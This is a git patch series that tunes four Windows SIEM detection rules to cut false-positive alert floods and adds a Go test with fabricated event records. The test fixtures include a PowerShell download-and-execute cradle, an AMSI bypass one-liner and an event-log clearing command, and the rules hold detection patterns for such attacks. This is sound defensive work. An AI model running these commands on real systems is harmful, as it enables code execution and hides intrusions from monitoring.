From 4dde2874463ef5e50f58414fda4334c33f7a745f Mon Sep 17 00:00:00 2001 From: Ricardo Valdes Date: Tue, 29 Sep 2026 13:45:38 -0400 Subject: [PATCH 1/2] fix(windows): stop four Windows rules from flooding Four Windows rules alerted on routine activity that matched conditions wider than they meant, and three grouped by computer, storing a child alert for every event. Each now de-duplicates for seven days instead: - Golden Ticket Attack Detection: 4768 no longer triggers. A forged TGT is never requested from the KDC; the branch matched failed requests (no ticket issued) and RC4 tickets issued to accounts that only hold RC4 keys. SYSTEM, LOCAL SERVICE and NETWORK SERVICE are recognised by SID (S-1-5-18/19/20), so localized names such as SISTEMA no longer match 4672. deduplicateBy dataSource, adversary.user. The filter's goldenTicketDetection marker changes the same way (filter 3.2.1). - Suspicious PowerShell: iex must be a whole word (it matched msiexec), and FromBase64String alone is no longer the execution half of a download cradle. deduplicateBy dataSource. - Process Masquerading: paths match without regard to case (C:\WINDOWS\System32), the protected name must be the whole file name, and SysWOW64 Explorer is expected. deduplicateBy dataSource, lastEvent.log.data.NewProcessName. - Audit Policy or Event Log Tampering: event 104 counts only from Microsoft-Windows-Eventlog; Azure AD Connect reuses the number. deduplicateBy dataSource, lastEvent.log.providerName. windows_alert_volume_test.go pins the keys, the records that must and must not alert, and the parity of the Golden Ticket marker. Co-Authored-By: Claude Opus 5.5 --- filters/windows/windows-events.yml | 10 +- plugins/alerts/windows_alert_volume_test.go | 160 ++++++++++++++++++ .../windows/audit_or_event_log_tampering.yml | 10 +- rules/windows/golden_ticket_detection.yml | 26 +-- rules/windows/masquerading_detection.yml | 13 +- .../suspicious_powershell_obfuscation.yml | 9 +- 6 files changed, 193 insertions(+), 35 deletions(-) create mode 100644 plugins/alerts/windows_alert_volume_test.go diff --git a/filters/windows/windows-events.yml b/filters/windows/windows-events.yml index 7d581b396..61e22e3b0 100644 --- a/filters/windows/windows-events.yml +++ b/filters/windows/windows-events.yml @@ -1,4 +1,4 @@ -# Windows_Agent filter, version 3.2.0 +# Windows_Agent filter, version 3.2.1 # Based on winlogbeat fields, reference [8.15] # See https://www.elastic.co/guide/en/beats/winlogbeat/current/exported-fields-winlog.html @@ -3360,17 +3360,11 @@ pipeline: !equals("log.eventDataStatus", "0") && exists("log.authenticationSource") ) || - ( - equals("log.eventCode", "4768") && - equals("log.channel", "Security") && - !oneOf("log.eventDataTicketEncryptionType", ["18", "17"]) && - exists("target.user") && - !regexMatch("target.user", "(?i)\\$$") - ) || ( equals("log.eventCode", "4672") && equals("log.channel", "Security") && contains("log.eventDataPrivilegeList", "SeTcbPrivilege") && + !oneOf("log.eventDataSubjectUserSid", ["S-1-5-18", "S-1-5-19", "S-1-5-20"]) && !regexMatch("log.eventDataSubjectUserName", "(?i)^(SYSTEM|LOCAL SERVICE|NETWORK SERVICE)$") && !regexMatch("log.eventDataSubjectUserName", "(?i)\\$$") ) diff --git a/plugins/alerts/windows_alert_volume_test.go b/plugins/alerts/windows_alert_volume_test.go new file mode 100644 index 000000000..dae106c77 --- /dev/null +++ b/plugins/alerts/windows_alert_volume_test.go @@ -0,0 +1,160 @@ +package main + +// Fabricated Windows agent records run through the offline Windows parser model +// (winParse) and the pinned SDK CEL. They pin the triggers and de-duplication +// keys that keep four Windows rules from flooding. The EventProcessor playground +// separately runs the real parser and alert plugins. +import ( + "encoding/json" + "reflect" + "testing" + + "github.com/threatwinds/go-sdk/plugins" + "github.com/tidwall/gjson" +) + +func winVolumeRaw(t *testing.T, code int, provider, channel string, data map[string]any) string { + t.Helper() + b, err := json.Marshal(map[string]any{ + "timestamp": "2026-09-29T10:00:00Z", "provider_name": provider, "channel": channel, + "computer": "dc01.example.test", "recordId": 4242, "eventCode": code, "data": data, + }) + if err != nil { + t.Fatal(err) + } + return string(b) +} + +func winVolumeSecurity(t *testing.T, code int, data map[string]any) string { + return winVolumeRaw(t, code, "Microsoft-Windows-Security-Auditing", "Security", data) +} + +func winVolumePrivileged(t *testing.T, user, sid string) string { + return winVolumeSecurity(t, 4672, map[string]any{ + "SubjectUserName": user, "SubjectDomainName": "EXAMPLE", "SubjectUserSid": sid, "SubjectLogonId": 999, + "PrivilegeList": "SeTcbPrivilege SeSecurityPrivilege SeBackupPrivilege", + }) +} + +func winVolumeTGT(t *testing.T, user string, encryption, status int) string { + return winVolumeSecurity(t, 4768, map[string]any{ + "TargetUserName": user, "TargetDomainName": "EXAMPLE.TEST", "ServiceName": "krbtgt/EXAMPLE.TEST", + "TicketEncryptionType": encryption, "Status": status, "PreAuthType": "2", + "IpAddress": "::ffff:192.0.2.45", "IpPort": "50123", + }) +} + +func winVolumeProcess(t *testing.T, path, commandLine string) string { + return winVolumeSecurity(t, 4688, map[string]any{ + "NewProcessName": path, "CommandLine": commandLine, "ParentProcessName": `C:\Windows\System32\services.exe`, + "SubjectUserName": "DC01$", "SubjectDomainName": "EXAMPLE", "SubjectUserSid": "S-1-5-18", + }) +} + +func winVolumeScript(t *testing.T, text string) string { + return winVolumeRaw(t, 4104, "Microsoft-Windows-PowerShell", "Microsoft-Windows-PowerShell/Operational", map[string]any{ + "MessageNumber": "1", "MessageTotal": "1", "Path": "", "ScriptBlockId": "0b0c1d2e-0000-4000-8000-000000000001", + "ScriptBlockText": text, + }) +} + +func TestWindowsAlertVolume(t *testing.T) { + cfg, rules, cache := winConfig(t), winRules(t), plugins.NewCELCache("windows-alert-volume") + for _, tc := range []struct { + file string + dedup []string + positive, negative []string + }{ + {"golden_ticket_detection", []string{"dataSource", "adversary.user"}, + []string{ + winVolumePrivileged(t, "svc-backup", "S-1-5-21-1111111111-2222222222-3333333333-1105"), + winVolumeSecurity(t, 4769, map[string]any{"TargetUserName": "alice@EXAMPLE.TEST", "TargetDomainName": "EXAMPLE.TEST", + "ServiceName": "krbtgt", "Status": 31, "TicketEncryptionType": 23, "IpAddress": "::ffff:192.0.2.44", "IpPort": "50124"}), + }, + []string{ + // SYSTEM, LOCAL SERVICE and NETWORK SERVICE under translated names, by SID. + winVolumePrivileged(t, "SISTEMA", "S-1-5-18"), + winVolumePrivileged(t, "Système", "S-1-5-18"), + winVolumePrivileged(t, "SERVICIO LOCAL", "S-1-5-19"), + winVolumePrivileged(t, "SERVICIO DE RED", "S-1-5-20"), + winVolumePrivileged(t, "DC01$", "S-1-5-21-1111111111-2222222222-3333333333-1000"), + // TGT requests: an unknown principal (0x6, no ticket issued) and an RC4 ticket issued. + winVolumeTGT(t, "host", 0xFFFFFFFF, 0x6), + winVolumeTGT(t, "legacy-app", 0x17, 0), + }}, + {"masquerading_detection", []string{"dataSource", "lastEvent.log.data.NewProcessName"}, + []string{ + winVolumeProcess(t, `C:\Users\Public\svchost.exe`, ""), + winVolumeProcess(t, `C:\ProgramData\lsass.exe`, ""), + winVolumeProcess(t, `C:\Temp\explorer.exe`, ""), + }, + []string{ + winVolumeProcess(t, `C:\WINDOWS\System32\svchost.exe`, ""), + winVolumeProcess(t, `C:\WINDOWS\explorer.exe`, ""), + winVolumeProcess(t, `C:\Windows\SysWOW64\explorer.exe`, ""), + winVolumeProcess(t, `C:\Windows\System32\csrss.exe`, ""), + winVolumeProcess(t, `C:\Program Files\WindowsApps\Microsoft.GamingServices_38.117.18001.0_x64__8wekyb3d8bbwe\gamingservices.exe`, ""), + }}, + {"suspicious_powershell_obfuscation", []string{"dataSource"}, + []string{ + winVolumeScript(t, "IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.5/a.ps1')"), + winVolumeScript(t, "$r = Invoke-WebRequest -Uri https://198.51.100.5/p -UseBasicParsing\nInvoke-Expression $r.Content"), + winVolumeScript(t, "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"), + }, + []string{ + // A software installer script: iex only inside msiexec. + winVolumeScript(t, "enum ExitCode {\n ERR_MSIEXEC_NOT_FOUND = 49\n}\n$ProgressPreference = 'SilentlyContinue'\nInvoke-WebRequest @requestParams\nStart-Process msiexec.exe -ArgumentList '/i', $msi -Wait"), + // A management script that downloads and decodes data. + winVolumeScript(t, "function Invoke-WebRequestWithRootCaVerification { param($Uri) Invoke-WebRequest -Uri $Uri }\n$bytes = [Convert]::FromBase64String($certificate)"), + }}, + {"audit_or_event_log_tampering", []string{"dataSource", "lastEvent.log.providerName"}, + []string{ + winVolumeRaw(t, 104, "Microsoft-Windows-Eventlog", "System", map[string]any{ + "SubjectUserName": "admin", "SubjectDomainName": "EXAMPLE", "Channel": "System", "BackupPath": ""}), + winVolumeProcess(t, `C:\Windows\System32\wevtutil.exe`, "wevtutil cl System"), + }, + []string{ + winVolumeRaw(t, 104, "Directory Synchronization", "Application", map[string]any{}), + winVolumeRaw(t, 104, "WudfUsbccidDriver", "System", map[string]any{}), + winVolumeProcess(t, `C:\Windows\System32\wevtutil.exe`, "wevtutil qe System /c:5"), + }}, + } { + t.Run(tc.file, func(t *testing.T) { + r := rules[tc.file] + if r == nil { + t.Fatalf("missing rule %s", tc.file) + } + if len(r.GroupBy) != 0 || !reflect.DeepEqual(r.DeduplicateBy, tc.dedup) { + t.Fatalf("grouping got groupBy %v deduplicateBy %v, want deduplicateBy %v", r.GroupBy, r.DeduplicateBy, tc.dedup) + } + for i, raw := range append(tc.positive, tc.negative...) { + want := i < len(tc.positive) + out := winParse(t, cfg, raw, "dc01", cache) + got, err := cache.Eval(r.Where, out) + if err != nil || got != want { + t.Fatalf("record %d: where got %v (%v), want %v for %s", i, got, err, want, out) + } + // The filter marks the same candidates the history search counts. + if tc.file == "golden_ticket_detection" { + if marker := gjson.Get(out, "log.authenticationCandidate.goldenTicketDetection").String() == "match"; marker != want { + t.Fatalf("record %d: goldenTicketDetection marker %v, predicate %v", i, marker, want) + } + } + if !want { + continue + } + // adversary: origin, so alert keys read the event's origin side and the last event. + for _, key := range tc.dedup { + path := map[string]string{"dataSource": "dataSource", "adversary.user": "origin.user", + "lastEvent.log.data.NewProcessName": "log.data.NewProcessName", "lastEvent.log.providerName": "log.providerName"}[key] + if v := gjson.Get(out, path); v.Type != gjson.String || v.String() == "" { + t.Fatalf("record %d: de-duplication key %s (%s) does not resolve to text in %s", i, key, path, out) + } + } + } + if tc.file == "golden_ticket_detection" && (len(r.Correlation) != 1 || r.Correlation[0].Count != 3 || r.Correlation[0].Within != "30m") { + t.Fatalf("golden ticket history changed: %+v", r.Correlation) + } + }) + } +} diff --git a/rules/windows/audit_or_event_log_tampering.yml b/rules/windows/audit_or_event_log_tampering.yml index 116ad8740..2b9686b75 100644 --- a/rules/windows/audit_or_event_log_tampering.yml +++ b/rules/windows/audit_or_event_log_tampering.yml @@ -1,4 +1,4 @@ -# Rule version v1.2.0 (validated 2026-06-24) +# Rule version v1.3.0 dataTypes: - wineventlog name: 'Windows: Audit Policy or Event Log Tampering' @@ -9,11 +9,11 @@ impact: category: Defense Evasion technique: 'T1562.002 - Impair Defenses: Disable Windows Event Logging' adversary: origin -description: Detects clearing of event logs (event 104) or command-line tampering with auditing/logging (auditpol /clear or /set ...disable, wevtutil cl, Clear-EventLog, fsutil usn deletejournal). Complements the Security-log-cleared (1102) rule. +description: Detects clearing of event logs (event 104) or command-line tampering with auditing/logging (auditpol /clear or /set ...disable, wevtutil cl, Clear-EventLog, fsutil usn deletejournal). Complements the Security-log-cleared (1102) rule. Event 104 counts only from the event log service (provider Microsoft-Windows-Eventlog), because other programs, such as Azure AD Connect (Directory Synchronization), use the same event number for unrelated messages. One alert is raised per computer and provider; repeats are suppressed for seven days. references: - https://attack.mitre.org/techniques/T1562/002/ where: | - (equals("log.eventCode", "104")) || (equals("log.eventCode", 4688) && regexMatch("log.data.CommandLine", "(?i)(auditpol.*/clear|auditpol.*/set.*(success|failure):disable|wevtutil.*(cl |clear-log)|Clear-EventLog|fsutil.*usn.*deletejournal|Remove-EventLog)")) -groupBy: + (equals("log.eventCode", "104") && equals("log.providerName", "Microsoft-Windows-Eventlog")) || (equals("log.eventCode", 4688) && regexMatch("log.data.CommandLine", "(?i)(auditpol.*/clear|auditpol.*/set.*(success|failure):disable|wevtutil.*(cl |clear-log)|Clear-EventLog|fsutil.*usn.*deletejournal|Remove-EventLog)")) +deduplicateBy: - dataSource -deduplicateBy: [] + - lastEvent.log.providerName diff --git a/rules/windows/golden_ticket_detection.yml b/rules/windows/golden_ticket_detection.yml index cfe85948b..26183de5a 100644 --- a/rules/windows/golden_ticket_detection.yml +++ b/rules/windows/golden_ticket_detection.yml @@ -1,4 +1,4 @@ -# Rule version v1.0.0 +# Rule version v1.1.0 dataTypes: - wineventlog @@ -20,6 +20,15 @@ description: | TGS requests with unusual encryption types, tickets with abnormally long lifetimes, and Kerberos authentication from non-domain-controller sources for the KRBTGT service. + It alerts on failed TGS requests for the krbtgt service (4769) and on special logons that + hold SeTcbPrivilege (4672) for accounts other than the built-in SYSTEM, LOCAL SERVICE and + NETWORK SERVICE identities, which are recognised by SID so that translated names such as + SISTEMA or Système are excluded too. TGT requests (4768) are not used: a forged TGT is never + requested from the KDC, a failed request issues no ticket, and RC4 tickets are routinely + issued to accounts that still hold only RC4 keys. Three matching events from one source + within 30 minutes are required, and one alert is raised per domain controller and account; + repeats are suppressed for seven days. + Next Steps: 1. Immediately verify if the KRBTGT account password has been compromised 2. Reset the KRBTGT password TWICE to invalidate all existing tickets @@ -40,17 +49,11 @@ where: | !equals("log.eventDataStatus", "0") && exists("log.authenticationSource") ) || - ( - equals("log.eventCode", "4768") && - equals("log.channel", "Security") && - !oneOf("log.eventDataTicketEncryptionType", ["18", "17"]) && - exists("target.user") && - !regexMatch("target.user", "(?i)\\$$") - ) || ( equals("log.eventCode", "4672") && equals("log.channel", "Security") && contains("log.eventDataPrivilegeList", "SeTcbPrivilege") && + !oneOf("log.eventDataSubjectUserSid", ["S-1-5-18", "S-1-5-19", "S-1-5-20"]) && !regexMatch("log.eventDataSubjectUserName", "(?i)^(SYSTEM|LOCAL SERVICE|NETWORK SERVICE)$") && !regexMatch("log.eventDataSubjectUserName", "(?i)\\$$") ) @@ -78,9 +81,6 @@ afterEvents: value: '{{.log.eventCode}}' within: 30m count: 3 -groupBy: +deduplicateBy: - dataSource - - lastEvent.log.authenticationSourceType - - lastEvent.log.authenticationSource - - lastEvent.log.authenticationSourceDomain - - target.user + - adversary.user diff --git a/rules/windows/masquerading_detection.yml b/rules/windows/masquerading_detection.yml index 028bf18c8..f9569dc98 100644 --- a/rules/windows/masquerading_detection.yml +++ b/rules/windows/masquerading_detection.yml @@ -1,4 +1,4 @@ -# Rule version v1.0.0 +# Rule version v1.1.0 dataTypes: - wineventlog @@ -20,6 +20,11 @@ description: | and explorer.exe should only run from C:\Windows. Malware commonly uses legitimate process names to avoid detection by analysts and automated tools. + Paths are compared without regard to letter case (C:\WINDOWS\System32 is the same folder as + C:\Windows\System32), the protected name must be the whole file name (gamingservices.exe is + not services.exe), and the 32-bit Explorer in C:\Windows\SysWOW64 is expected. One alert is + raised per computer and process path; repeats are suppressed for seven days. + Next Steps: 1. Identify the actual file path of the masquerading process 2. Compare the file hash against known good versions of the legitimate binary @@ -29,7 +34,7 @@ description: | 6. Kill the suspicious process and quarantine the file 7. Search for other instances of the same file across the environment where: | - (equals("log.eventCode","4688") || equals("log.eventCode","1")) && ((regexMatch("log.data.NewProcessName","svchost[.]exe$") && !regexMatch("log.data.NewProcessName","[Ww]indows.(System32|SysWOW64).svchost[.]exe$")) || (regexMatch("log.data.NewProcessName","lsass[.]exe$") && !regexMatch("log.data.NewProcessName","[Ww]indows.System32.lsass[.]exe$")) || (regexMatch("log.data.NewProcessName","services[.]exe$") && !regexMatch("log.data.NewProcessName","[Ww]indows.System32.services[.]exe$")) || (regexMatch("log.data.NewProcessName","csrss[.]exe$") && !regexMatch("log.data.NewProcessName","[Ww]indows.(System32|SysWOW64).csrss[.]exe$")) || (regexMatch("log.data.NewProcessName","explorer[.]exe$") && !regexMatch("log.data.NewProcessName","[Ww]indows.explorer[.]exe$"))) -groupBy: + (equals("log.eventCode","4688") || equals("log.eventCode","1")) && ((regexMatch("log.data.NewProcessName","(?i)(^|[\\\\/])svchost[.]exe$") && !regexMatch("log.data.NewProcessName","(?i)windows.(system32|syswow64).svchost[.]exe$")) || (regexMatch("log.data.NewProcessName","(?i)(^|[\\\\/])lsass[.]exe$") && !regexMatch("log.data.NewProcessName","(?i)windows.system32.lsass[.]exe$")) || (regexMatch("log.data.NewProcessName","(?i)(^|[\\\\/])services[.]exe$") && !regexMatch("log.data.NewProcessName","(?i)windows.system32.services[.]exe$")) || (regexMatch("log.data.NewProcessName","(?i)(^|[\\\\/])csrss[.]exe$") && !regexMatch("log.data.NewProcessName","(?i)windows.(system32|syswow64).csrss[.]exe$")) || (regexMatch("log.data.NewProcessName","(?i)(^|[\\\\/])explorer[.]exe$") && !regexMatch("log.data.NewProcessName","(?i)windows.(syswow64.)?explorer[.]exe$"))) +deduplicateBy: - dataSource -deduplicateBy: [] + - lastEvent.log.data.NewProcessName diff --git a/rules/windows/suspicious_powershell_obfuscation.yml b/rules/windows/suspicious_powershell_obfuscation.yml index 764b9d0b8..8ffb379a7 100644 --- a/rules/windows/suspicious_powershell_obfuscation.yml +++ b/rules/windows/suspicious_powershell_obfuscation.yml @@ -1,4 +1,4 @@ -# Rule version v1.3.0 (validated 2026-07-01) +# Rule version v1.4.0 dataTypes: - wineventlog name: 'Windows: Suspicious PowerShell (Encoded / Download Cradle / AMSI Bypass)' @@ -9,11 +9,10 @@ impact: category: Execution technique: 'T1059.001 - Command and Scripting Interpreter: PowerShell' adversary: origin -description: 'Detects high-risk PowerShell script-block content: download cradles, encoded/hidden execution, reflective loading and AMSI bypass markers. Matches the 4104 script-block text (not the -EncodedCommand flag, to avoid benign false positives). v1.3.0: excludes the benign injected PSBreakpoint/AMSI "sentinel" instrumentation harness (markers: sentinelbreakpoints, \windows\sentinel\, Po_wer_Spl_oit_Indicators) that otherwise false-positives on the literal "AmsiInitFailed" token it emits on every PowerShell session. The exclusion is per-script-block, so a real payload executed through the harness is a separate 4104 event and still fires.' +description: 'Detects high-risk PowerShell script-block content: download cradles, encoded/hidden execution, reflective loading and AMSI bypass markers. Matches the 4104 script-block text (not the -EncodedCommand flag, to avoid benign false positives). v1.3.0: excludes the benign injected PSBreakpoint/AMSI "sentinel" instrumentation harness (markers: sentinelbreakpoints, \windows\sentinel\, Po_wer_Spl_oit_Indicators) that otherwise false-positives on the literal "AmsiInitFailed" token it emits on every PowerShell session. The exclusion is per-script-block, so a real payload executed through the harness is a separate 4104 event and still fires. v1.4.0: iex must be a whole word (as a substring it matched msiexec in routine software installer scripts), and FromBase64String no longer counts as execution next to a download (Microsoft''s own network scanner and Defender for Servers scripts download and decode data); IEX, Invoke-Expression, -enc, -EncodedCommand and hidden windows still do. One alert is raised per computer; repeats are suppressed for seven days.' references: - https://attack.mitre.org/techniques/T1059/001/ where: | - equals("log.eventCode", "4104") && !regexMatch("log.eventDataScriptBlockText", "(?i)(sentinelbreakpoints|windows.sentinel.[0-9]|po_wer_spl_oit_indicators)") && (regexMatch("log.eventDataScriptBlockText", "(?i)(amsiutils|amsiinitfailed|amsiscanbuffer|virtualalloc|writeprocessmemory|getdelegateforfunctionpointer|invoke-mimikatz|invoke-shellcode|invoke-dllinjection|createremotethread)") || (regexMatch("log.eventDataScriptBlockText", "(?i)(downloadstring|downloadfile|downloaddata|invoke-webrequest|net.webclient|start-bitstransfer)") && regexMatch("log.eventDataScriptBlockText", "(?i)(iex|invoke-expression|-enc |-encodedcommand|-w hidden|-windowstyle hidden|frombase64string)"))) -groupBy: + equals("log.eventCode", "4104") && !regexMatch("log.eventDataScriptBlockText", "(?i)(sentinelbreakpoints|windows.sentinel.[0-9]|po_wer_spl_oit_indicators)") && (regexMatch("log.eventDataScriptBlockText", "(?i)(amsiutils|amsiinitfailed|amsiscanbuffer|virtualalloc|writeprocessmemory|getdelegateforfunctionpointer|invoke-mimikatz|invoke-shellcode|invoke-dllinjection|createremotethread)") || (regexMatch("log.eventDataScriptBlockText", "(?i)(downloadstring|downloadfile|downloaddata|invoke-webrequest|net.webclient|start-bitstransfer)") && regexMatch("log.eventDataScriptBlockText", "(?i)(\\biex\\b|invoke-expression|-enc |-encodedcommand|-w hidden|-windowstyle hidden)"))) +deduplicateBy: - dataSource -deduplicateBy: [] From d374635765d012beb4f11efb694347ee02743e56 Mon Sep 17 00:00:00 2001 From: Ricardo Valdes Date: Tue, 29 Sep 2026 18:42:20 -0400 Subject: [PATCH 2/2] fix(windows): take filter version 3.2.2 after the v11 action-result change v11 now carries filter 3.2.1 (actionResult values); the Golden Ticket marker change becomes 3.2.2. Co-Authored-By: Claude Opus 5.5 --- filters/windows/windows-events.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/filters/windows/windows-events.yml b/filters/windows/windows-events.yml index afa71164c..6f4937ae0 100644 --- a/filters/windows/windows-events.yml +++ b/filters/windows/windows-events.yml @@ -1,4 +1,4 @@ -# Windows_Agent filter, version 3.2.1 +# Windows_Agent filter, version 3.2.2 # Based on winlogbeat fields, reference [8.15] # See https://www.elastic.co/guide/en/beats/winlogbeat/current/exported-fields-winlog.html